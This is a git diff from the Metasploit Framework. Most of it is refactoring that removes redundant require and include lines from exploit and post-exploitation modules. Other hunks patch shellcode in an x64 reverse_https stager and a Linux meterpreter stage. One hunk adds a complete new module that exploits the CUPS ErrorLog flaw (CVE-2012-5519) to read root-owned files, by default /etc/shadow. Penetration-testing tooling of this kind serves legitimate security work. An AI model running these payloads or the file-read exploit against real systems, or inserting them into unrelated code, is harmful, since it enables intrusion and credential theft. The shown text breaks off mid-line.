a/modules/exploits/windows/local/ms10_092_schelevator.rb +++ b/modules/exploits/windows/local/ms10_092_schelevator.rb @@ -6,18 +6,14 @@ ## require 'msf/core' -require 'msf/core/post/common' require 'rex' require 'zlib' require 'msf/core/exploit/exe' -require 'msf/core/post/file' - class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE - include Msf::Post::Common include Msf::Post::File def initialize(info={}) diff --git a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb index 27c29a8a25..46af4e8eed 100644 --- a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb +++ b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking @@ -17,7 +15,6 @@ class Metasploit3 < Msf::Exploit::Local # the system process that it was injected into to die then it's also # possible that the system may become unstable. - include Msf::Post::Common include Msf::Post::Windows::Priv def initialize(info={}) diff --git a/modules/exploits/windows/local/novell_client_nicm.rb b/modules/exploits/windows/local/novell_client_nicm.rb index 0baaf2626d..d2508dfa81 100644 --- a/modules/exploits/windows/local/novell_client_nicm.rb +++ b/modules/exploits/windows/local/novell_client_nicm.rb @@ -7,14 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/windows/priv' -require 'msf/core/post/windows/process' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking - include Msf::Post::Common include Msf::Post::Windows::Priv include Msf::Post::Windows::Process @@ -62,7 +58,6 @@ class Metasploit3 < Msf::Exploit::Local }, 'References' => [ - [ 'CVE', '2013-3956' ], [ 'OSVDB', '93718' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ], [ 'URL', 'http://pastebin.com/GB4iiEwR' ] diff --git a/modules/exploits/windows/local/novell_client_nwfs.rb b/modules/exploits/windows/local/novell_client_nwfs.rb index dfd779d6c3..dacf1bd730 100644 --- a/modules/exploits/windows/local/novell_client_nwfs.rb +++ b/modules/exploits/windows/local/novell_client_nwfs.rb @@ -7,14 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/windows/priv' -require 'msf/core/post/windows/process' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking - include Msf::Post::Common include Msf::Post::Windows::Priv include Msf::Post::Windows::Process @@ -383,4 +379,4 @@ end .text:00055148 mov [ebp+ms_exc.registration.TryLevel], eax .text:0005514B mov dword ptr [ecx], 9 // Corruption -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 27987e94d4..40dcd939e9 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -7,16 +7,11 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/windows/priv' -require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking - include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index 798a89e94e..9c962fe89e 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -7,10 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/windows/priv' -require 'msf/core/post/windows/process' -require 'msf/core/post/windows/file_info' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 3d88d5fa08..7b96f6b6dd 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -7,15 +7,11 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/windows/priv' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking - include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Exploit::EXE diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb index a7c19fbaef..af27d9a2fc 100644 --- a/modules/exploits/windows/local/service_permissions.rb +++ b/modules/exploits/windows/local/service_permissions.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/windows/services' require 'rex' class Metasploit3 < Msf::Exploit::Local diff --git a/modules/exploits/windows/local/trusted_service_path.rb b/modules/exploits/windows/local/trusted_service_path.rb index 77cdc47b71..5a30b28947 100644 --- a/modules/exploits/windows/local/trusted_service_path.rb +++ b/modules/exploits/windows/local/trusted_service_path.rb @@ -6,18 +6,14 @@ ## require 'msf/core' -require 'msf/core/post/common' -require 'msf/core/post/windows/services' require 'msf/core/exploit/exe' -require 'msf/core/post/file' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE - include Msf::Post::Common include Msf::Post::File - include Post::Windows::Services + include Msf::Post::Windows::Services def initialize(info={}) super( update_info( info, diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index 34d586bedf..c9d8e47561 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -74,7 +74,8 @@ module Metasploit3 # requirement. You can not upload an application if it is signed # with a key whose validity expires before that date. # """ - cert.not_after = cert.not_before + 3600*24*365*20 # 20 years + # The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC + cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 )) jar.sign(key, cert, [cert]) diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index d7634ea667..bc53d25209 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -21,20 +21,21 @@ module Metasploit3 'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)', 'Author' => [ 'hdm', # original 32-bit implementation - 'agix' # x64 rewrite + 'agix', # x64 rewrite + 'rwincey' # x64 alignment fix ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86_64, 'Handler' => Msf::Handler::ReverseHttps, 'Convention' => 'sockrdi https', - 'Stager' => + 'Stager' => { 'Offsets' => { # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 282, 'v' ], # Not a typo, really little endian + 'LPORT' => [286, 'v'], # Not a typo, really little endian }, 'Payload' => "\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" + @@ -50,21 +51,34 @@ module Metasploit3 "\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" + "\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" + "\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" + - "\xFF\xFF\x5D\x49\xBE\x77\x69\x6E\x69\x6E\x65\x74\x00\x41\x56\x49" + + "\xFF\xFF\x5D" + + "\x6A\x00" + #alignment + "\x49\xBE\x77\x69\x6E\x69\x6E\x65\x74\x00\x41\x56\x49" + "\x89\xE6\x4C\x89\xF1\x49\xBA\x4C\x77\x26\x07\x00\x00\x00\x00\xFF" + - "\xD5\x6A\x00\x48\x89\xE1\x48\x31\xD2\x4D\x31\xC0\x4D\x31\xC9\x41" + - "\x50\x41\x50\x49\xBA\x3A\x56\x79\xA7\x00\x00\x00\x00\xFF\xD5\xE9" + - "\x9B\x00\x00\x00\x5A\x48\x89\xC1\x49\xB8\x5C\x11\x00\x00\x00\x00" + + "\xD5" + + "\x6A\x00" + #alignment + "\x6A\x00\x48\x89\xE1\x48\x31\xD2\x4D\x31\xC0\x4D\x31\xC9\x41" + + "\x50\x41\x50\x49\xBA\x3A\x56\x79\xA7\x00\x00\x00\x00\xFF\xD5" + + "\xE9\x9E\x00\x00\x00" + #updated jump offset + "\x5A\x48\x89\xC1\x49\xB8\x5C\x11\x00\x00\x00\x00" + "\x00\x00\x4D\x31\xC9\x41\x51\x41\x51\x6A\x03\x41\x51\x49\xBA\x57" + - "\x89\x9F\xC6\x00\x00\x00\x00\xFF\xD5\xEB\x79\x48\x89\xC1\x48\x31" + + "\x89\x9F\xC6\x00\x00\x00\x00\xFF\xD5" + + "\xEB\x7C" + #updated jump offset + "\x48\x89\xC1\x48\x31" + "\xD2\x41\x58\x4D\x31\xC9\x52\x68\x00\x32\xA0\x84\x52\x52\x49\xBA" + "\xEB\x55\x2E\x3B\x00\x00\x00\x00\xFF\xD5\x48\x89\xC6\x6A\x0A\x5F" + - "\x48\x89\xF1\x48\xBA\x1F\x00\x00\x00\x00\x00\x00\x00\x68\x80\x33" + + "\x48\x89\xF1\x48\xBA\x1F\x00\x00\x00\x00\x00\x00\x00" + + "\x6A\x00" + #alignment + "\x68\x80\x33" + "\x00\x00\x49\x89\xE0\x49\xB9\x04\x00\x00\x00\x00\x00\x00\x00\x49" + "\xBA\x75\x46\x9E\x86\x00\x00\x00\x00\xFF\xD5\x48\x89\xF1\x48\x31" + - "\xD2\x4D\x31\xC0\x4D\x31\xC9\x52\x49\xBA\x2D\x06\x18\x7B\x00\x00" + - "\x00\x00\xFF\xD5\x85\xC0\x75\x24\x48\xFF\xCF\x74\x13\xEB\xB1\xE9" + - "\x81\x00\x00\x00\xE8\x82\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00" + + "\xD2\x4D\x31\xC0\x4D\x31\xC9" + + "\x52\x52" + #updated alignment (extra push edx) + "\x49\xBA\x2D\x06\x18\x7B\x00\x00" + + "\x00\x00\xFF\xD5\x85\xC0\x75\x24\x48\xFF\xCF\x74\x13\xEB\xB1" + + "\xE9\x81\x00\x00\x00"+ + "\xE8\x7F\xFF\xFF\xFF" + #updated jump offset + "\x2F\x31\x32\x33\x34\x35\x00" + "\x49\xBE\xF0\xB5\xA2\x56\x00\x00\x00\x00\xFF\xD5\x48\x31\xC9\x48" + "\xBA\x00\x00\x40\x00\x00\x00\x00\x00\x49\xB8\x00\x10\x00\x00\x00" + "\x00\x00\x00\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xBA\x58" + @@ -72,9 +86,10 @@ module Metasploit3 "\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" + "\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" + "\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" + - "\x75\xCE\x58\x58\xC3\xE8\xDA\xFE\xFF\xFF" + "\x75\xCE\x58\x58\xC3" + + "\xE8\xD7\xFE\xFF\xFF" #updated jump offset } - )) + )) end # diff --git a/modules/payloads/stages/linux/x64/shell.rb b/modules/payloads/stages/linux/x64/shell.rb index da9d9af976..b0983f2b89 100644 --- a/modules/payloads/stages/linux/x64/shell.rb +++ b/modules/payloads/stages/linux/x64/shell.rb @@ -11,6 +11,7 @@ require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 + include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index d385d3d13b..92d01194c1 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -24,7 +24,6 @@ module Metasploit3 'Session' => Msf::Sessions::Meterpreter_x86_Linux)) register_options([ - OptBool.new('PrependFork', [ false, "Add a fork() / exit_group() (for parent) code" ]), OptInt.new('DebugOptions', [ false, "Debugging options for POSIX meterpreter", 0 ]) ], self.class) end @@ -71,21 +70,6 @@ module Metasploit3 midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp - if(datastore['PrependFork']) - # fork() / parent does exit() - - # If the target process is threaded, this means the thread - # will exit. exit_group() will try to close the process down - # completely.. and if we do that, it may not be reaped - # correctly. - # - # Plus, depending on the vuln, we might get multiple shots at - # owning a finite amount of threads. - - midstager << - "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" - end - midstager << "\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" + "\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" + diff --git a/modules/payloads/stages/linux/x86/shell.rb b/modules/payloads/stages/linux/x86/shell.rb index 05ce4810a2..0f90ab7c12 100644 --- a/modules/payloads/stages/linux/x86/shell.rb +++ b/modules/payloads/stages/linux/x86/shell.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 - + include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 868395516f..d94e381e19 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -8,7 +8,9 @@ require 'msf/core' require 'msf/core/payload/windows/reflectivedllinject' +require 'msf/core/payload/windows/x64/reflectivedllinject' require 'msf/base/sessions/meterpreter_x86_win' +require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' ### @@ -39,7 +41,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.install_root, "data", "meterpreter", "metsrv.dll") + File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") end end diff --git a/modules/payloads/stages/windows/patchupmeterpreter.rb b/modules/payloads/stages/windows/patchupmeterpreter.rb index c3f64723c7..996b2537cf 100644 --- a/modules/payloads/stages/windows/patchupmeterpreter.rb +++ b/modules/payloads/stages/windows/patchupmeterpreter.rb @@ -43,7 +43,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.install_root, "data", "meterpreter", "metsrv.dll") + File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") end end diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index 006079fbb5..0a15a83174 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -36,7 +36,7 @@ module Metasploit3 end def library_path - File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.x64.dll" ) + File.join( Msf::Config.data_directory, "meterpreter", "metsrv.x64.dll" ) end end diff --git a/modules/post/aix/hashdump.rb b/modules/post/aix/hashdump.rb index 4d987dca5b..9e2cc8ee78 100644 --- a/modules/post/aix/hashdump.rb +++ b/modules/post/aix/hashdump.rb @@ -7,14 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/priv' - class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Linux::Priv diff --git a/modules/post/linux/gather/checkvm.rb b/modules/post/linux/gather/checkvm.rb index 12961639c4..6aae22e70c 100644 --- a/modules/post/linux/gather/checkvm.rb +++ b/modules/post/linux/gather/checkvm.rb @@ -7,14 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/priv' -require 'msf/core/post/linux/system' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System diff --git a/modules/post/linux/gather/ecryptfs_creds.rb b/modules/post/linux/gather/ecryptfs_creds.rb index 4df35feb17..84adc5adc8 100644 --- a/modules/post/linux/gather/ecryptfs_creds.rb +++ b/modules/post/linux/gather/ecryptfs_creds.rb @@ -7,14 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/unix' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Common include Msf::Post::Unix def initialize(info={}) diff --git a/modules/post/linux/gather/enum_configs.rb b/modules/post/linux/gather/enum_configs.rb index de4851873c..d0a841a854 100644 --- a/modules/post/linux/gather/enum_configs.rb +++ b/modules/post/linux/gather/enum_configs.rb @@ -6,16 +6,9 @@ ## require 'msf/core' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/system' class Metasploit3 < Msf::Post - include Msf::Post::Common - include Msf::Post::File - include Msf::Post::Linux::System - def initialize(info={}) super( update_info( info, 'Name' => 'Linux Gather Configurations', diff --git a/modules/post/linux/gather/enum_network.rb b/modules/post/linux/gather/enum_network.rb index f104de293b..81c6d097ec 100644 --- a/modules/post/linux/gather/enum_network.rb +++ b/modules/post/linux/gather/enum_network.rb @@ -7,14 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/priv' -require 'msf/core/post/linux/system' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index 63fa580241..011bb0ecaf 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -6,13 +6,9 @@ ## require 'msf/core' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/system' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Linux::System diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index f898bcbdeb..00f2fc4828 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -7,14 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/system' -require 'msf/core/post/linux/priv' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Linux::System diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb index 4bd38ee623..1344fc8e51 100644 --- a/modules/post/linux/gather/enum_users_history.rb +++ b/modules/post/linux/gather/enum_users_history.rb @@ -7,14 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/system' -require 'msf/core/post/linux/priv' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Linux::System diff --git a/modules/post/linux/gather/enum_xchat.rb b/modules/post/linux/gather/enum_xchat.rb index 95fdf4010a..65064c1cf9 100644 --- a/modules/post/linux/gather/enum_xchat.rb +++ b/modules/post/linux/gather/enum_xchat.rb @@ -6,12 +6,9 @@ ## require 'msf/core' -require 'msf/core/post/common' -require 'msf/core/post/file' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File def initialize(info={}) diff --git a/modules/post/linux/gather/hashdump.rb b/modules/post/linux/gather/hashdump.rb index 8a6feec0a1..30aa3523be 100644 --- a/modules/post/linux/gather/hashdump.rb +++ b/modules/post/linux/gather/hashdump.rb @@ -7,14 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/priv' - class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Linux::Priv diff --git a/modules/post/linux/gather/mount_cifs_creds.rb b/modules/post/linux/gather/mount_cifs_creds.rb index 31df8df10d..05fa727015 100644 --- a/modules/post/linux/gather/mount_cifs_creds.rb +++ b/modules/post/linux/gather/mount_cifs_creds.rb @@ -6,12 +6,9 @@ ## require 'msf/core' -require 'msf/core/post/common' -require 'msf/core/post/file' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File def initialize(info={}) diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb index 4bc22f344c..cb72cb3c80 100644 --- a/modules/post/linux/gather/pptpd_chap_secrets.rb +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -6,11 +6,9 @@ ## require 'msf/core' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Auxiliary::Report @@ -127,4 +125,4 @@ class Metasploit3 < Msf::Post end end -end \ No newline at end of file +end diff --git a/modules/post/linux/manage/download_exec.rb b/modules/post/linux/manage/download_exec.rb index 68a833e3c0..d0a6b07109 100644 --- a/modules/post/linux/manage/download_exec.rb +++ b/modules/post/linux/manage/download_exec.rb @@ -7,14 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/system' -require 'msf/core/post/linux/priv' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Linux::System diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb new file mode 100644 index 0000000000..8c0714818d --- /dev/null +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -0,0 +1,169 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::File + + LP_GROUPS = ['lpadmin', '_lpadmin'] + + attr_accessor :web_server_was_disabled, :error_log_was_reset + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'CUPS 1.6.1 Root File Read', + 'Description' => %q{ + This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system. + CUPS allows members of the lpadmin group to make changes to the cupsd.conf + configuration, which can specify an Error Log path. When the user visits the + Error Log page in the web interface, the cupsd daemon (running with setuid root) + reads the Error Log path and echoes it as plaintext. + + This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4 + as long as the session is in the lpadmin group. + + Warning: if the user has set up a custom path to the CUPS error log, + this module might fail to reset that path correctly. You can specify + a custom error log path with the ERROR_LOG datastore option. + }, + 'References' => + [ + ['CVE', '2012-5519'], + ['OSVDB', '87635'], + ['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791'] + ], + 'License' => MSF_LICENSE, + 'Author' => + [ + "Jann Horn", # discovery + "joev " # metasploit module + ], + 'DisclosureDate' => 'Nov 20 2012', + 'Platform' => ['osx', 'linux'] + })) + register_options([ + OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]), + OptString.new("ERROR_LOG", + [true, "The original path to the CUPS error log", '/var/log/cups/error_log'] + ) + ], self.class) + end + + def check_exploitability + user = cmd_exec("whoami") + user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/) + if (user_groups & LP_GROUPS).empty? + print_error "User not in lpadmin group." + return Msf::Exploit::CheckCode::Safe + else + print_good "User in lpadmin group, continuing..." + end + + if ctl_path.blank? + print_error "cupsctl binary not found in $PATH" + return Msf::Exploit::CheckCode::Safe + else + print_good "cupsctl binary found in $PATH" + end + + nc_path = whereis("nc") + if nc_path.nil? or nc_path.blank? + print_error "Could not find nc executable" + return Msf::Exploit::CheckCode::Unknown + else + print_good "nc binary found in $PATH" + end + + config_path = whereis("cups-config") + config_vn = nil + + if config_path.nil? or config_path.blank? + # cups-config not present, ask the web interface what vn it is + output = get_request('/') + if output =~ /title.*CUPS\s+([\d\.]+)/i + config_vn = $1.strip + end + else + config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed + end + + if config_vn.nil? + print_error "Could not determine CUPS version." + return Msf::Exploit::CheckCode::Unknown + end + + print_status "Found CUPS #{config_vn}" + + config_parts = config_vn.split('.') + if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 + Msf::Exploit::CheckCode::Vulnerable + else + Msf::Exploit::CheckCode::Safe + end + end + + def run + if check_exploitability == Msf::Exploit::CheckCode::Safe + print_error "Target machine not vulnerable, bailing." + return + end + + defaults = cmd_exec(ctl_path) + @web_server_was_disabled = defaults =~ /^WebInterface=no$/i + + # first we set the error log to the path intended + cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}") + cmd_exec("#{ctl_path} WebInterface=yes") + @error_log_was_reset = true + + # now we go grab it from the ErrorLog route + file = strip_http_headers(get_request('/admin/log/error_log')) + + # and store as loot + f = File.basename(datastore['FILE']) + loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f) + print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}") + end + + def cleanup + print_status "Cleaning up..." + cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled + cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset + super + end + + private + + def prev_error_log_path; datastore['ERROR_LOG']; end + def ctl_path; @ctl_path ||= whereis("cupsctl"); end + def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end + + def whereis(exe) + line = cmd_exec("whereis #{exe}") + if line =~ /^\S+:\s*(\S*)/i + $1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl" + else + line # on osx it just returns '/usr/sbin/cupsctl' + end + end + + def get_request(uri) + output = perform_request(uri, 'nc -j localhost 631') + + if output =~ /^usage: nc/ + output = perform_request(uri, 'nc localhost 631') + end + + output + end + + def perform_request(uri, nc_str) + # osx requires 3 newlines! + cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' ')) + end +end diff --git a/modules/post/multi/escalate/metasploit_pcaplog.rb b/modules/post/multi/escalate/metasploit_pcaplog.rb index 3bed81190c..7867bb20f1 100644 --- a/modules/post/multi/escalate/metasploit_pcaplog.rb +++ b/modules/post/multi/escalate/metasploit_pcaplog.rb @@ -7,9 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/priv' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/local/unix' @@ -17,7 +14,6 @@ class Metasploit3 < Msf::Post Rank = ManualRanking include Msf::Post::File - include Msf::Post::Common include Msf::Exploit::Local::Linux include Msf::Exploit::Local::Unix diff --git a/modules/post/multi/gather/apple_ios_backup.rb b/modules/post/multi/gather/apple_ios_backup.rb index b896af64cc..d4c96237a8 100644 --- a/modules/post/multi/gather/apple_ios_backup.rb +++ b/modules/post/multi/gather/apple_ios_backup.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/file' require 'rex/parser/apple_backup_manifestdb' class Metasploit3 < Msf::Post diff --git a/modules/post/multi/gather/dns_bruteforce.rb b/modules/post/multi/gather/dns_bruteforce.rb index 750bfb3d05..21ba5378ff 100644 --- a/modules/post/multi/gather/dns_bruteforce.rb +++ b/modules/post/multi/gather/dns_bruteforce.rb @@ -7,14 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common - - def initialize(info={}) super( update_info( info, 'Name' => 'Multi Gather DNS Forward Lookup Bruteforce', diff --git a/modules/post/multi/gather/dns_reverse_lookup.rb b/modules/post/multi/gather/dns_reverse_lookup.rb index 13f1c53760..e35db88a72 100644 --- a/modules/post/multi/gather/dns_reverse_lookup.rb +++ b/modules/post/multi/gather/dns_reverse_lookup.rb @@ -7,14 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' - class Metasploit3 < Msf::Post - include Msf::Post::Common - - def initialize(info={}) super( update_info( info, 'Name' => 'Multi Gather DNS Reverse Lookup Scan', diff --git a/modules/post/multi/gather/dns_srv_lookup.rb b/modules/post/multi/gather/dns_srv_lookup.rb index b72353269f..2f97232bbe 100644 --- a/modules/post/multi/gather/dns_srv_lookup.rb +++ b/modules/post/multi/gather/dns_srv_lookup.rb @@ -7,13 +7,8 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/auxiliary/report' - class Metasploit3 < Msf::Post - - include Msf::Post::Common include Msf::Auxiliary::Report def initialize(info={}) diff --git a/modules/post/multi/gather/enum_vbox.rb b/modules/post/multi/gather/enum_vbox.rb index da22417c4d..e7f389b7ff 100644 --- a/modules/post/multi/gather/enum_vbox.rb +++ b/modules/post/multi/gather/enum_vbox.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/file' require 'yaml' class Metasploit3 < Msf::Post diff --git a/modules/post/multi/gather/env.rb b/modules/post/multi/gather/env.rb index 01ea6a98ae..d0ba2601a0 100644 --- a/modules/post/multi/gather/env.rb +++ b/modules/post/multi/gather/env.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post diff --git a/modules/post/multi/gather/fetchmailrc_creds.rb b/modules/post/multi/gather/fetchmailrc_creds.rb index cf6707d93c..3e5fcd1c04 100644 --- a/modules/post/multi/gather/fetchmailrc_creds.rb +++ b/modules/post/multi/gather/fetchmailrc_creds.rb @@ -6,13 +6,9 @@ ## require 'msf/core' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/unix' class Metasploit3 < Msf::Post - include Msf::Post::Common include 